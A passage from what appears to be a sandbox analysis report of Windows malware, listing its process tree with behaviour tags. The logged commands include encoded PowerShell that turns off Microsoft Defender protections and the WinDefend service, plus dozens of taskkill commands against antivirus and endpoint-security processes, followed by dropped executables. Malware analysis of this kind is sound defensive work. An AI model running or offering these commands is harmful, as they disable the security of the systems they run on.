    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlAA=="
    3⤵
    - Executes a command shell one-liner
    PID:5192
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlAA=="
    3⤵
    - Executes a command shell one-liner
    PID:3992
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGwAbwBjAGsAQQB0AEYAaQByAHMAdABTAGUAZQBuACAAJAB0AHIAdQBlACAALQBGAG8AcgBjAGUA"
    3⤵
    PID:1112
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGwAbwBjAGsAQQB0AEYAaQByAHMAdABTAGUAZQBuACAAJAB0AHIAdQBlACAALQBGAG8AcgBjAGUA
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2980
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBJAE8AQQBWAFAAcgBvAHQAZQBjAHQAaQBvAG4AIAAkAHQAcgB1AGUAIAAtAEYAbwByAGMAZQA="
    3⤵
    PID:2744
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBJAE8AQQBWAFAAcgBvAHQAZQBjAHQAaQBvAG4AIAAkAHQAcgB1AGUAIAAtAEYAbwByAGMAZQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3304
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgAgAC0ARgBvAHIAYwBlAA=="
    3⤵
    - Executes a command shell one-liner
    PID:1844
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2848
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgAgAC0ARgBvAHIAYwBlAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBBAFAAUwBSAGUAcABvAHIAdABpAG4AZwAgADAAIAAtAEYAbwByAGMAZQA="
    3⤵
    - Executes a command shell one-liner
    PID:3348
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBBAFAAUwBSAGUAcABvAHIAdABpAG4AZwAgADAAIAAtAEYAbwByAGMAZQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4804
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGkAbgBEAGUAZgBlAG4AZAAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA=="
    3⤵
    - Executes a command shell one-liner
    PID:4936
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGkAbgBEAGUAZgBlAG4AZAAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAVwBpAG4ARABlAGYAZQBuAGQAIAAtAFMAdABhAHIAdAB1AHAAVAB5AHAAZQAgAEQAaQBzAGEAYgBsAGUAZAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
    3⤵
    PID:5420
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAVwBpAG4ARABlAGYAZQBuAGQAIAAtAFMAdABhAHIAdAB1AHAAVAB5AHAAZQAgAEQAaQBzAGEAYgBsAGUAZAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5956
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avp.exe"
    3⤵
    PID:5296
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avp.exe
      4⤵
      Kills process with taskkill
      PID:5876
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kav.exe"
    3⤵
    PID:2792
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kav.exe
      4⤵
      Kills process with taskkill
      PID:5560
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kis.exe"
    3⤵
    - Executes a command shell one-liner
    PID:3404
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kis.exe
      4⤵
      PID:2304
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kaspersky.exe"
    3⤵
    PID:2752
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kaspersky.exe
      4⤵
      PID:5712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im drweb.exe"
    3⤵
    PID:2432
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im drweb.exe
      4⤵
      PID:4112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im dwengine.exe"
    3⤵
    PID:4424
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im dwengine.exe
      4⤵
      Kills process with taskkill
      PID:1808
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMService.exe"
    3⤵
    - Executes a command shell one-liner
    PID:3656
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMService.exe
      4⤵
      Kills process with taskkill
      PID:5496
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Malwarebytes.exe"
    3⤵
    - Executes a command shell one-liner
    PID:5940
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Malwarebytes.exe
      4⤵
      PID:1160
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MsMpEng.exe"
    3⤵
    - Executes a command shell one-liner
    PID:5096
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MsMpEng.exe
      4⤵
      Kills process with taskkill
      PID:5896
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im NisSrv.exe"
    3⤵
    - Executes a command shell one-liner
    PID:1220
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im NisSrv.exe
      4⤵
      PID:5512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SecurityHealthService.exe"
    3⤵
    PID:1152
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SecurityHealthService.exe
      4⤵
      PID:1924
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avg.exe"
    3⤵
    - Executes a command shell one-liner
    PID:2896
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avg.exe
      4⤵
      Kills process with taskkill
      PID:2316
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avast.exe"
    3⤵
    - Executes a command shell one-liner
    PID:2804
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avast.exe
      4⤵
      Kills process with taskkill
      PID:3764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im AvastSvc.exe"
    3⤵
    PID:4352
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im AvastSvc.exe
      4⤵
      Kills process with taskkill
      PID:1552
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Norton.exe"
    3⤵
    - Executes a command shell one-liner
    PID:2592
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Norton.exe
      4⤵
      PID:4408
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Symantec.exe"
    3⤵
    PID:2876
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Symantec.exe
      4⤵
      Kills process with taskkill
      PID:4064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im McAfee.exe"
    3⤵
    PID:3248
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im McAfee.exe
      4⤵
      Kills process with taskkill
      PID:2980
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Mcshield.exe"
    3⤵
    PID:1616
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Mcshield.exe
      4⤵
      Kills process with taskkill
      PID:3480
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Sophos.exe"
    3⤵
    PID:3356
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Sophos.exe
      4⤵
      Kills process with taskkill
      PID:1308
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Bitdefender.exe"
    3⤵
    PID:4784
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Bitdefender.exe
      4⤵
      PID:5376
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im vsserv.exe"
    3⤵
    - Executes a command shell one-liner
    PID:1168
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im vsserv.exe
      4⤵
      PID:2188
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im ESET.exe"
    3⤵
    PID:1860
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im ESET.exe
      4⤵
      Kills process with taskkill
      PID:5008
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im ekrn.exe"
    3⤵
    PID:3416
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im ekrn.exe
      4⤵
      Kills process with taskkill
      PID:4556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im F-Secure.exe"
    3⤵
    - Executes a command shell one-liner
    PID:3736
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im F-Secure.exe
      4⤵
      PID:5436
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im GData.exe"
    3⤵
    PID:5236
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im GData.exe
      4⤵
      PID:5460
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Panda.exe"
    3⤵
    PID:5396
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5428
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Panda.exe
      4⤵
      PID:5284
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im TrendMicro.exe"
    3⤵
    - Executes a command shell one-liner
    PID:2532
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im TrendMicro.exe
      4⤵
      PID:5476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im CrowdStrike.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4328
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im CrowdStrike.exe
      4⤵
      Kills process with taskkill
      PID:5576
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im CSAgent.exe"
    3⤵
    - Executes a command shell one-liner
    PID:6012
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im CSAgent.exe
      4⤵
      Kills process with taskkill
      PID:1600
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMService.exe"
    3⤵
    PID:2940
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMService.exe
      4⤵
      Kills process with taskkill
      PID:5740
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Malwarebytes.exe"
    3⤵
    PID:5712
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Malwarebytes.exe
      4⤵
      PID:2088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMTray.exe"
    3⤵
    PID:3908
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMTray.exe
      4⤵
      PID:864
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMWsc.exe"
    3⤵
    - Executes a command shell one-liner
    PID:1808
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMWsc.exe
      4⤵
      Kills process with taskkill
      PID:2572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAsACAAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIAAiAE0AQgBBAE0AVAByAGEAeQAiACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAHAAIABpAG4AIAAkAHAAcgBvAGMAZQBzAHMAZQBzACkAIAB7ACAACgAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ATgBhAG0AZQAgACQAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUAByAG8AYwBlAHMAcwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAACgB9AA=="
    3⤵
    PID:5496
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAsACAAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIAAiAE0AQgBBAE0AVAByAGEAeQAiACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAHAAIABpAG4AIAAkAHAAcgBvAGMAZQBzAHMAZQBzACkAIAB7ACAACgAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ATgBhAG0AZQAgACQAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUAByAG8AYwBlAHMAcwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAACgB9AA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MsMpEng.exe"
    3⤵
    - Executes a command shell one-liner
    PID:5652
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MsMpEng.exe
      4⤵
      Kills process with taskkill
      PID:3220
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im NisSrv.exe"
    3⤵
    PID:4184
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im NisSrv.exe
      4⤵
      PID:5196
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SecurityHealthService.exe"
    3⤵
    - Executes a command shell one-liner
    PID:2044
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SecurityHealthService.exe
      4⤵
      Kills process with taskkill
      PID:4000
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MpCmdRun.exe"
    3⤵
    - Executes a command shell one-liner
    PID:5732
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MpCmdRun.exe
      4⤵
      PID:4592
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlAA=="
    3⤵
    - Executes a command shell one-liner
    PID:5844
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlAA=="
    3⤵
    - Executes a command shell one-liner
    PID:1416
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGwAbwBjAGsAQQB0AEYAaQByAHMAdABTAGUAZQBuACAAJAB0AHIAdQBlACAALQBGAG8AcgBjAGUA"
    3⤵
    PID:3596
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGwAbwBjAGsAQQB0AEYAaQByAHMAdABTAGUAZQBuACAAJAB0AHIAdQBlACAALQBGAG8AcgBjAGUA
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3500
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBJAE8AQQBWAFAAcgBvAHQAZQBjAHQAaQBvAG4AIAAkAHQAcgB1AGUAIAAtAEYAbwByAGMAZQA="
    3⤵
    PID:1904
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBJAE8AQQBWAFAAcgBvAHQAZQBjAHQAaQBvAG4AIAAkAHQAcgB1AGUAIAAtAEYAbwByAGMAZQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2228
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgAgAC0ARgBvAHIAYwBlAA=="
    3⤵
    PID:2412
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgAgAC0ARgBvAHIAYwBlAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5328
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBBAFAAUwBSAGUAcABvAHIAdABpAG4AZwAgADAAIAAtAEYAbwByAGMAZQA="
    3⤵
    PID:2668
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBBAFAAUwBSAGUAcABvAHIAdABpAG4AZwAgADAAIAAtAEYAbwByAGMAZQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5268
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGkAbgBEAGUAZgBlAG4AZAAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA=="
    3⤵
    PID:5516
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGkAbgBEAGUAZgBlAG4AZAAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAVwBpAG4ARABlAGYAZQBuAGQAIAAtAFMAdABhAHIAdAB1AHAAVAB5AHAAZQAgAEQAaQBzAGEAYgBsAGUAZAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
    3⤵
    - Executes a command shell one-liner
    PID:1952
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAVwBpAG4ARABlAGYAZQBuAGQAIAAtAFMAdABhAHIAdAB1AHAAVAB5AHAAZQAgAEQAaQBzAGEAYgBsAGUAZAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:328
- - C:\Users\Admin\AppData\Local\Temp\_temp_06okjvce\program1.exe
    "C:\Users\Admin\AppData\Local\Temp\_temp_06okjvce\program1.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:5692
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -C "if (Get-Command Get-CimInstance -ErrorAction SilentlyContinue) { exit 0 } else { exit 1 }"
      4⤵
      Hide Artifacts: Ignore Process Interrupts
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:1648
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -C "if ((Get-ExecutionPolicy -Scope Process) -eq 'Restricted') { exit 1 } else { exit 0 }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      PID:4612
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -C "if ((Get-CimInstance -ClassName Win32_Process | ? {$_.Path -and $_.Path.StartsWith('C:\Users\Admin\AppData\Local\Programs\Black Wolf', 'CurrentCultureIgnoreCase')}).Count -gt 0) { exit 0 } else { exit 1 }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      PID:4508
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_temp_06okjvce\program2.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4664
  - - C:\Users\Admin\AppData\Local\Temp\_temp_06okjvce\program2.exe
      C:\Users\Admin\AppData\Local\Temp\_temp_06okjvce\program2.exe
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      PID:5696
